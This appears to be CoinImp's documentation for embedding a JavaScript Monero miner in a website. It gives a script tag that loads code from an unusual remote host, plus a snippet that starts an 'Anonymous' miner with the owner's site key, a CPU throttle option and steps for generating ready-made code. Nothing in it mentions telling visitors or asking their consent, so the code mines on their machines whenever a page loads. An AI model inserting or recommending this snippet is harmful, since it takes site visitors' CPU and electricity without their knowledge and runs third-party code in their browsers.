Documentation of Monero JavaScript Mining

To embed JavaScript miner just put code before </body> tag of your HTML:

<script src="https://www.freecontent.date./yQ5l.js"></script>
<script>
    var miner = new Client.Anonymous('<site-key>');
    miner.start();
</script>

Where <site-key> is a hexadecimal, 64 characters-length key, generated by CoinImp panel. You can find it in Dashboard.

Optionally you can add options for miner, for example set maximum CPU usage to 20%:

var miner = new Client.Anonymous('<site-key>', { throttle: 0.8});
miner.start();

Also you can generate the code with site key ready to use - Easy way for beginners:

  1. Go to Dashboard.
  2. Add a new site
  3. Enter your site name and click save.
  4. In sites section click on Generate Code icon
  5. Copy the generated code and paste it just before </body> tag in your website.